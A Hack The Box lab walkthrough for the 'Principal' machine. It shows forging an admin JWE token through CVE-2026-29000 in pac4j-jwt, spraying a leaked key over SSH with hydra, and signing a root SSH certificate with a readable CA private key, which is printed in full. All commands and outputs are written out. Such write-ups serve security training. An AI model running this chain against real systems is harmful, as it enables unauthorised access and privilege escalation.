Skip to main content
  1. Posts/

HackTheBox Principal walkthrough

·2188 words·11 mins· loading · loading ·
Sholim
Author
Sholim
Security analyst
Table of Contents

HTB: Principal Walkthrough
#


Machine Overview
#

  • Name: Principal
  • OS: Ubuntu 24.04 LTS
  • Difficulty: Medium

Principal is a Medium difficulty Linux machine featuring a Java web application running on Jetty, secured by the pac4j-jwt framework. The web app is vulnerable to CVE-2026-29000, a security restriction bypass that allows an attacker to forge a valid admin JWT token using only the server’s publicly available RSA public key. With admin access to the API, system settings are enumerated and an encryption key is discovered hardcoded in the configuration. This key is reused as the SSH password for the svc-deploy service account. Once on the machine, an SSH Certificate Authority private key is found to be world-readable in /opt/principal/ssh/. The CA key is used to sign a custom SSH certificate granting access as root, completing the privilege escalation.


Enumeration
#

When I first accessed the target, my goal wasn’t to immediately run tools, but to understand what kind of system I was dealing with. Before thinking about exploitation, I focused on answering a few basic questions:

  • What services are exposed?
  • Is this a typical Linux box or a web application backend?
  • Does anything stand out in versions or headers?

Finding exposed services
#

❯ sudo nmap -p- --min-rate 5000 -T4 10.129.7.10  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-27 14:49 +0300  
Warning: 10.129.7.10 giving up on port because retransmission cap hit (6).  
Nmap scan report for 10.129.7.10  
Host is up (0.26s latency).  
Not shown: 65533 closed tcp ports (reset)  
PORT     STATE SERVICE  
22/tcp   open  ssh  
8080/tcp open  http-proxy  
  
Nmap done: 1 IP address (1 host up) scanned in 30.01 seconds  
❯ sudo nmap -sC -sV -p 22,8080 10.129.7.10 -o nmap  
[sudo] password for kevin:    
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-27 14:56 +0300  
Nmap scan report for 10.129.7.10  
Host is up (0.16s latency).  
  
PORT     STATE SERVICE    VERSION  
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:    
|   256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)  
|_  256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)  
8080/tcp open  http-proxy Jetty  
|_http-open-proxy: Proxy might be redirecting requests  
|_http-server-header: Jetty  
| http-title: Principal Internal Platform - Login  
|_Requested resource was /login  
| fingerprint-strings:    
|   FourOhFourRequest:    
|     HTTP/1.1 404 Not Found  
|     Date: Wed, 27 May 2026 11:56:39 GMT  
|     Server: Jetty  
|     X-Powered-By: pac4j-jwt/6.0.3  
|     Cache-Control: must-revalidate,no-cache,no-store  
|     Content-Type: application/json  
|     {"timestamp":"2026-05-27T11:56:39.547+00:00","status":404,"error":"Not Found","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}  
|   GetRequest:    
|     HTTP/1.1 302 Found  
|     Date: Wed, 27 May 2026 11:56:36 GMT  
|     Server: Jetty  
|     X-Powered-By: pac4j-jwt/6.0.3  
|     Content-Language: en  
|     Location: /login  
|     Content-Length: 0  
|   HTTPOptions:    
|     HTTP/1.1 200 OK  
|     Date: Wed, 27 May 2026 11:56:37 GMT  
|     Server: Jetty  
|     X-Powered-By: pac4j-jwt/6.0.3  
|     Allow: GET,HEAD,OPTIONS  
|     Accept-Patch:    
|     Content-Length: 0  
|   RTSPRequest:    
|     HTTP/1.1 505 HTTP Version Not Supported  
|     Date: Wed, 27 May 2026 11:56:38 GMT  
|     Cache-Control: must-revalidate,no-cache,no-store  
|     Content-Type: text/html;charset=iso-8859-1  
|     Content-Length: 349  
|     <html>  
|     <head>  
|     <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>  
|     <title>Error 505 Unknown Version</title>  
|     </head>  
|     <body>  
|     <h2>HTTP ERROR 505 Unknown Version</h2>  
|     <table>  
|     <tr><th>URI:</th><td>/badMessage</td></tr>  
|     <tr><th>STATUS:</th><td>505</td></tr>  
|     <tr><th>MESSAGE:</th><td>Unknown Version</td></tr>  
|     </table>  
|     </body>  
|     </html>  
|   Socks5:    
|     HTTP/1.1 400 Bad Request  
|     Date: Wed, 27 May 2026 11:56:40 GMT  
|     Cache-Control: must-revalidate,no-cache,no-store  
|     Content-Type: text/html;charset=iso-8859-1  
|     Content-Length: 382  
|     <html>  
|     <head>  
|     <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>  
|     <title>Error 400 Illegal character CNTL=0x5</title>  
|     </head>  
|     <body>  
|     <h2>HTTP ERROR 400 Illegal character CNTL=0x5</h2>  
|     <table>  
|     <tr><th>URI:</th><td>/badMessage</td></tr>  
|     <tr><th>STATUS:</th><td>400</td></tr>  
|     <tr><th>MESSAGE:</th><td>Illegal character CNTL=0x5</td></tr>  
|     </table>  
|     </body>  
|_    </html>

The scan quickly showed only two open ports:

  • 22/tcp – SSH
  • 8080/tcp – HTTP (Jetty server) At this point, I knew the attack surface was small but likely web-focused. SSH alone rarely gives entry without credentials, so I shifted my attention to the web service.

Web application Enumeration
#

Checking on the website on port 8080 we see it is powered by pac4j version 1.20 as shown at the bottom of the login page.

Principal Homepage

pac4j is an open-source, multi-framework security engine for Java designed to handle user authentication, authorization, and profile management. Instead of creating separate security libraries for every Java web framework, the creators built pac4j as a decoupled, universal core engine. Developers integrate it into their framework of choice using specific wrappers or bridges. Checking the request headers we see it is powered specifically bypac4j-jwt/6.0.3

❯ curl -I http://10.129.7.10:8080/login  
HTTP/1.1 200 OK  
Date: Wed, 27 May 2026 12:28:53 GMT  
Server: Jetty  
X-Powered-By: pac4j-jwt/6.0.3  
Content-Language: en  
Content-Type: text/html;charset=utf-8  
Transfer-Encoding: chunked

pac4j-jwt/6.0.3 is vulnerable to Security Restriction Bypass Vulnerability CVE-2026-29000.Using the server’s RSA public key one can create a JWE-wrapped PlainJWT with arbitrary subject and role claims, bypassing signature verification to authenticate as any user including administrators.

Mapping the application
#

I used ffuf to understand how the application exposes functionality beyond the login page

❯ ffuf -u http://10.129.7.10:8080/FUZZ -w /home/kevin/Documents/cybersec/wordlists/SecLists/Discovery/Web-Content/common.txt  
  
       /'___\  /'___\           /'___\          
      /\ \__/ /\ \__/  __  __  /\ \__/          
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\         
       \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/         
        \ \_\   \ \_\  \ \____/  \ \_\          
         \/_/    \/_/   \/___/    \/_/          
  
      v2.1.0-dev  
________________________________________________  
  
:: Method           : GET  
:: URL              : http://10.129.7.10:8080/FUZZ  
:: Wordlist         : FUZZ: /home/kevin/Documents/cybersec/wordlists/SecLists/Discovery/Web-Content/common.txt  
:: Follow redirects : false  
:: Calibration      : false  
:: Timeout          : 10  
:: Threads          : 40  
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500  
________________________________________________  
  
META-INF                [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 210ms]  
WEB-INF                 [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 165ms]  
api/experiments/configurations [Status: 401, Size: 58, Words: 3, Lines: 1, Duration: 154ms]  
api/experiments         [Status: 401, Size: 58, Words: 3, Lines: 1, Duration: 154ms]  
dashboard               [Status: 200, Size: 3930, Words: 1579, Lines: 95, Duration: 209ms]  
error                   [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 213ms]  
login                   [Status: 200, Size: 6152, Words: 2465, Lines: 113, Duration: 157ms]  
meta-inf                [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 285ms]  
web-inf                 [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 149ms]  
:: Progress: [4715/4715] :: Job [1/1] :: 210 req/sec :: Duration: [0:00:21] :: Errors: 0 ::

Interestingly dashboard shown status code of 200 but accessing the pages redirects us to login page.Lets check it out using burpsuite. It uses javascript from /static/js/app.js.

Cheking it out we find interesting info


const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';

// Role constants - must match server-side role definitions
const ROLES = {
    ADMIN: 'ROLE_ADMIN',
    MANAGER: 'ROLE_MANAGER',
    USER: 'ROLE_USER'
};

// Token management
class TokenManager {
    static getToken() {
        return sessionStorage.getItem('auth_token');
    }

    static setToken(token) {
        sessionStorage.setItem('auth_token', token);
    }

    static clearToken() {
        sessionStorage.removeItem('auth_token');
    }

    static isAuthenticated() {
        return !!this.getToken();
    }

    static getAuthHeaders() {
        const token = this.getToken();
        return token ? { 'Authorization': `Bearer ${token}` } : {};
    }
}

We now have the jwks endpoint and admin role constants

Using the expolit from alihussainzada We get a bearer token that allows access as admin

❯ python3 poc.py --jwks http://10.129.7.10:8080/api/auth/jwks \  
--user admin \  
--role ROLE_ADMIN  
[*] Fetching JWKS...  
[+] Public key loaded  
[+] PlainJWT created  
  
=== Malicious JWE Token ===  
  
eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.OD0UnIePyp-2cqNoUj6fQ2hzPHZxt9UqruT5ZBGJRAOSLs0OdPapM5Rxpq-ZzwXlNHo0e1u43och5Ey6EM5cHUUyQrzzfXriy46tW_VACCqmzgC2wUvvWl-LtGXgL86AVnpB7N2m  
JirOA3H_YQDHSGXSZVao-T4av9ceXuIL56pXd8jhDA6pok6aAaaafe5fltdr9x6VnQ7QrFdrhA-T4r4kfokgqVZinOd4VKQkxBkK9_4-YVgxI0vInbeF1m_qIy6s1IiSegePxrIE7XNSuyjz-w_Y3UBINIVDcAonjNIfqy2BvukQFmfWTUUh6Q7bccL1WSXIiO9CtmLOqF4msA.CPSXXX73CBH6nkCi.LVu5jYkG4WGQk  
mL--A9b7krPqCjumqZYldhJ-vodCJuy_anC24-xmUFUhZ3CqHJmc8xKQfjdRHW3ynaD5gbC_HcNuKWYv-jPf3Z47UyXX5hsceNAcAr99py7_UoVxTer2-ba5sWF4qgskOjd1H7AlbrnwjMM9AlS4LsJBv3G9eEXFRUIDH7jw04e2SAMicSb2tze7l1ymHN5gKq6V4wq9gcBWrKefvz5FtqXRpJzF2rIxKpTPQ.Noxb-sC  
tmdeuo4DFwxgPFA  
  
Use it as:  
Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.OD0UnIePyp-2cqNoUj6fQ2hzPHZxt9UqruT5ZBGJRAOSLs0OdPapM5Rxpq-ZzwXlNHo0e1u43och5Ey6EM5cHUUyQrzzfXriy46tW_VACCqmzgC2wU  
vvWl-LtGXgL86AVnpB7N2mJirOA3H_YQDHSGXSZVao-T4av9ceXuIL56pXd8jhDA6pok6aAaaafe5fltdr9x6VnQ7QrFdrhA-T4r4kfokgqVZinOd4VKQkxBkK9_4-YVgxI0vInbeF1m_qIy6s1IiSegePxrIE7XNSuyjz-w_Y3UBINIVDcAonjNIfqy2BvukQFmfWTUUh6Q7bccL1WSXIiO9CtmLOqF4msA.CPSXXX73  
CBH6nkCi.LVu5jYkG4WGQkmL--A9b7krPqCjumqZYldhJ-vodCJuy_anC24-xmUFUhZ3CqHJmc8xKQfjdRHW3ynaD5gbC_HcNuKWYv-jPf3Z47UyXX5hsceNAcAr99py7_UoVxTer2-ba5sWF4qgskOjd1H7AlbrnwjMM9AlS4LsJBv3G9eEXFRUIDH7jw04e2SAMicSb2tze7l1ymHN5gKq6V4wq9gcBWrKefvz5FtqX  
RpJzF2rIxKpTPQ.Noxb-sCtmdeuo4DFwxgPFA

Lets test it with the dashboard api


 curl http://10.129.7.10:8080/api/dashboard -H "Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.OD0UnIePyp-2cqNoUj6fQ2hzPHZxt9UqruT5ZBGJRAOSLs0OdPapM5Rxpq-ZzwXlN  
Ho0e1u43och5Ey6EM5cHUUyQrzzfXriy46tW_VACCqmzgC2wUvvWl-LtGXgL86AVnpB7N2mJirOA3H_YQDHSGXSZVao-T4av9ceXuIL56pXd8jhDA6pok6aAaaafe5fltdr9x6VnQ7QrFdrhA-T4r4kfokgqVZinOd4VKQkxBkK9_4-YVgxI0vInbeF1m_qIy6s1IiSegePxrIE7XNSuyjz-w_Y3UBINIVDcAonjNIfqy  
2BvukQFmfWTUUh6Q7bccL1WSXIiO9CtmLOqF4msA.CPSXXX73CBH6nkCi.LVu5jYkG4WGQkmL--A9b7krPqCjumqZYldhJ-vodCJuy_anC24-xmUFUhZ3CqHJmc8xKQfjdRHW3ynaD5gbC_HcNuKWYv-jPf3Z47UyXX5hsceNAcAr99py7_UoVxTer2-ba5sWF4qgskOjd1H7AlbrnwjMM9AlS4LsJBv3G9eEXFRUIDH7  
jw04e2SAMicSb2tze7l1ymHN5gKq6V4wq9gcBWrKefvz5FtqXRpJzF2rIxKpTPQ.Noxb-sCtmdeuo4DFwxgPFA" | jq  
 % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current  
                                Dload  Upload  Total   Spent   Left   Speed  
100   1870   0   1870   0      0   3098      0                              0  
{  
 "stats": {  
   "totalUsers": 8,  
   "systemHealth": "operational",  
   "lastDeployment": "2025-12-28T14:32:00Z",  
   "uptimePercent": 99.7,  
   "activeDeployments": 3,  
   "pendingAlerts": 2  
 },  
 "announcements": [  
   {  
     "title": "Maintenance Window",  
     "message": "Scheduled maintenance on Jan 15 02:00-04:00 UTC. Deploy pipelines will be paused.",  
     "date": "2025-12-30",  
     "severity": "info"  
   },  
   {  
     "title": "New SSH CA Rotation",  
     "message": "SSH CA keys have been rotated. All deploy certificates issued before Dec 1 are revoked.",  
     "date": "2025-12-15",  
     "severity": "warning"  
   }  
 ],  
 "user": {  
   "role": "ROLE_ADMIN",  
   "username": "admin"  
 },  
 "recentActivity": [  
   {  
     "username": "kevin",  
     "action": "LOGIN_FAILED",  
     "timestamp": "2026-05-27T12:25:06.947952",  
     "details": "Failed login attempt"  
   },  
   {  
     "username": "svc-deploy",  
     "action": "CERT_ISSUED",  
     "timestamp": "2026-03-05T21:43:40.443553",  
     "details": "SSH certificate issued for deploy-1735400000"  
   },  
   {  
     "username": "amorales",  
     "action": "LOGIN_SUCCESS",  
     "timestamp": "2026-03-05T21:28:40.443553",  
     "details": "Successful login"  
   },  
   {  
     "username": "svc-deploy",  
     "action": "DEPLOY_TRIGGERED",  
     "timestamp": "2026-03-05T21:13:40.443553",  
     "details": "Deployment #848 - staging hotfix"  
   },  
   {  
     "username": "administrator",  
     "action": "LOGIN_FAILED",  
     "timestamp": "2026-03-05T20:58:40.443553",  
     "details": "Failed login attempt"  
   },  
   {  
     "username": "admin",  
     "action": "SETTINGS_VIEWED",  
     "timestamp": "2026-03-05T19:58:40.443553",  
     "details": "Accessed system settings"  
   },  
   {  
     "username": "jthompson",  
     "action": "LOGIN_SUCCESS",  
     "timestamp": "2026-03-05T18:58:40.443553",  
     "details": "Successful login"  
   },  
   {  
     "username": "svc-deploy",  
     "action": "DEPLOY_TRIGGERED",  
     "timestamp": "2026-03-05T17:58:40.443553",  
     "details": "Deployment #847 - production v1.2.0"  
   },  
   {  
     "username": "admin",  
     "action": "USER_UPDATED",  
     "timestamp": "2026-03-05T16:58:40.443553",  
     "details": "Updated user kkumar: set active=false"  
   },  
   {  
     "username": "admin",  
     "action": "LOGIN_SUCCESS",  
     "timestamp": "2026-03-05T15:58:40.443553",  
     "details": "Successful login"  
   }  
 ]  
}

We see kkumar has been set to inactive by admin and also the user svc_deploy issues out certificates based on the activities. Lets check the available setting

{  
 "security": {  
   "authFramework": "pac4j-jwt",  
   "authFrameworkVersion": "6.0.3",  
   "jwtAlgorithm": "RS256",  
   "jweAlgorithm": "RSA-OAEP-256",  
   "jweEncryption": "A128GCM",  
   "encryptionKey": "D3pl0y_$$H_Now42!",  
   "tokenExpiry": "3600s",  
   "sessionManagement": "stateless"  
 },  
 "system": {  
   "javaVersion": "21.0.10",  
   "applicationName": "Principal Internal Platform",  
   "version": "1.2.0",  
   "environment": "production",  
   "serverType": "Jetty 12.x (Embedded)"  
 },  
 "infrastructure": {  
   "sshCaPath": "/opt/principal/ssh/",  
   "sshCertAuth": "enabled",  
   "database": "H2 (embedded)",  
   "notes": "SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config."  
 },  
 "integrations": [  
   {  
     "name": "GitLab CI/CD",  
     "lastSync": "2025-12-28T12:00:00Z",  
     "status": "connected"  
   },  
   {  
     "name": "Vault",  
     "lastSync": "2025-12-28T14:00:00Z",  
     "status": "connected"  
   },  
   {  
     "name": "Prometheus",  
     "lastSync": "2025-12-28T14:30:00Z",  
     "status": "connected"  
   }  
 ]  
}

We find an encryption key for jwt. Since we have a list of users lets try bruteforcing ssh with this key as password

❯ hydra -L users.txt -p 'D3pl0y_$$H_Now42!'  ssh://10.129.7.10  
  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-27 17:12:38  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4  
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:8/p:1), ~1 try per task  
[DATA] attacking ssh://10.129.7.10:22/  
[22][ssh] host: 10.129.7.10   login: svc-deploy   password: D3pl0y_$$H_Now42!  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-27 17:12:45

We get a hit. ssh as svc-deploy and we get user flag

❯ ssh svc-deploy@10.129.7.10  
svc-deploy@10.129.7.10's password:    
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)  
  
* Documentation:  https://help.ubuntu.com  
* Management:     https://landscape.canonical.com  
* Support:        https://ubuntu.com/pro  
  
This system has been minimized by removing packages and content that are  
not required on a system that users do not log into.  
  
To restore this content, you can run the 'unminimize' command.  
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings  
  
svc-deploy@principal:~$ whoami  
svc-deploy  
svc-deploy@principal:~$ cat user.txt  
9252eddcadd76b00bd76f43b178d9cff  
svc-deploy@principal:~$

Priv escalation
#

From settings api, we saw there was a ssh directory in /opt/princicap checking it out we get

svc-deploy@principal:/opt/principal/ssh$ ls  
README.txt  ca  ca.pub  
svc-deploy@principal:/opt/principal/ssh$ cat README.txt    
CA keypair for SSH certificate automation.  
  
This CA is trusted by sshd for certificate-based authentication.  
Use deploy.sh to issue short-lived certificates for service accounts.  
  
Key details:  
 Algorithm: RSA 4096-bit  
 Created: 2025-11-15  
 Purpose: Automated deployment authentication  
svc-deploy@principal:/opt/principal/ssh$ cd ../  
svc-deploy@principal:/opt/principal$ ls  
app  deploy  ssh  
svc-deploy@principal:/opt/principal$ ls deploy  
ls: cannot open directory 'deploy': Permission denied  
svc-deploy@principal:/opt/principal$ ls -la  
total 20  
drwxr-xr-x 5 root root      4096 Mar 11 04:22 .  
drwxr-xr-x 4 root root      4096 Mar 11 04:22 ..  
drwxr-xr-x 5 app  app       4096 Mar 11 04:22 app  
drwxr-x--- 2 root root      4096 Mar 11 04:22 deploy  
drwxr-x--- 2 root deployers 4096 Mar 11 04:22 ssh  
svc-deploy@principal:/opt/principal$ cat ssh/ca.pub  
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6lxNSzJQFU3K/0FLKci1BZr+HL1UTQ45y8nzlu0tVaCFcluEZZyPu3wgC4XbCGmihm8wyoBgJXI6BZyRTpizmHJZAjNmvi9ncUoS06Rpl+oAv8E3GugdcQoglSP7Nem0JnpmHoOL/FtStaKPTtoEYHWc3rVd6YBGfXCrF0lEgFsQcwFOLkPoS35IdnZqcj3vBtz7As  
od2qiWztk6l2UHjZyrUKUxiRERXsr7uNtY9xSgA1ClhZdx3MUE1intkbUgdFC1yYXS+lsvlUD/N54YYLSKH7GVsMFzV/cWsxgx8z9CfgDvS+M0BVRrGiETmcY1jALOTln7PCnLl2vC1Rr0j7btu99DYrLmYj4L9OgKjHeX7InVQCGnoRHWpThyp3WmdnWoghAiyALuiL39XXQpen2t7GQd+zT5Qbv2HpLW4huVKXoY+22  
KSbVsAhFAexgZy04fxKZw6M5YzzIA28JWnIXdCbxdYhVm8QzlnKHEhI2J1T/9wrUvBFQQExmXrt/HHmJZrjNfjkd4tUsarLlANJ7ilNMNSzk3QuJp2t2I7IBO6JO8eQt5jEFSPbtIav9u8vPsTLMRjMfrpqxiAA+VAozzeOYZLEhCWatWTQw6wzpnb9+qfAoQj1kGhPTelOtmdLx8dJtqSw5O4HMAhlnItjqrxr57+333  
Fg1iaqBvsmQ== principal-ssh-ca

Lets tryusing the public key

❯ ssh -i ca.pub root@10.129.7.10  
root@10.129.7.10's password:    
Permission denied, please try again.  
root@10.129.7.10's password:    
  
[1]  + 770440 suspended  ssh -i ca.pub root@10.129.7.10

Unfortunately it doesnt work with root.

Since we can read the CA private key we can use it to sign your own SSH certificate for root.

svc-deploy@principal:/tmp$ cat /opt/principal/ssh/ca  
-----BEGIN OPENSSH PRIVATE KEY-----  
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  
-----END OPENSSH PRIVATE KEY-----

Copy it to our linux machine then sign our own key

❯ nano ca  
❯ ssh-keygen -t rsa -f root_id_rsa -N ""  
Generating public/private rsa key pair.  
Your identification has been saved in root_id_rsa  
Your public key has been saved in root_id_rsa.pub  
The key fingerprint is:  
SHA256:ydztgbJp8UjmRbzvE+9txmbTEODjxF98qaCIWlExjQg kevin@kevin  

❯ sudo chmod 600 ca  

❯ ssh-keygen -s ca -I "root" -n root -V +1h root_id_rsa  
  
Signed user key root_id_rsa-cert.pub: id "root" serial 0 for root valid from 2026-05-27T18:26:00 to 2026-05-27T19:27:21

We can then use the key to login as root using the key and certificate

❯ ssh -i root_id_rsa -o CertificateFile=root_id_rsa-cert.pub root@10.129.7.10  
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)  
  
* Documentation:  https://help.ubuntu.com  
* Management:     https://landscape.canonical.com  
* Support:        https://ubuntu.com/pro  
  
This system has been minimized by removing packages and content that are  
not required on a system that users do not log into.  
  
To restore this content, you can run the 'unminimize' command.  
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings  
  
root@principal:~# whoami  
root  
root@principal:~# ls    
root.txt  
root@principal:~#

We get root.

Related

HTB Support Writeup
·1629 words·8 mins· loading · loading
An Easy Windows Active Directory machine involving anonymous SMB enumeration, .NET binary reverse engineering, LDAP credential extraction, and a Resource-Based Constrained Delegation (RBCD) attack to achieve Domain Admin.
HTB Overwatch Writeup
·2124 words·10 mins· loading · loading
A Medium Windows Active Directory machine involving .NET WCF service exploitation via PowerShell injection, SQL Server credential discovery, and DNS-based ADIDNS hijacking to obtain credentials and escalate to SYSTEM.
Cypher
·608 words·3 mins· loading · loading
A full walkthrough of the Hack The Box &lsquo;Cypher&rsquo; challenge from Season 7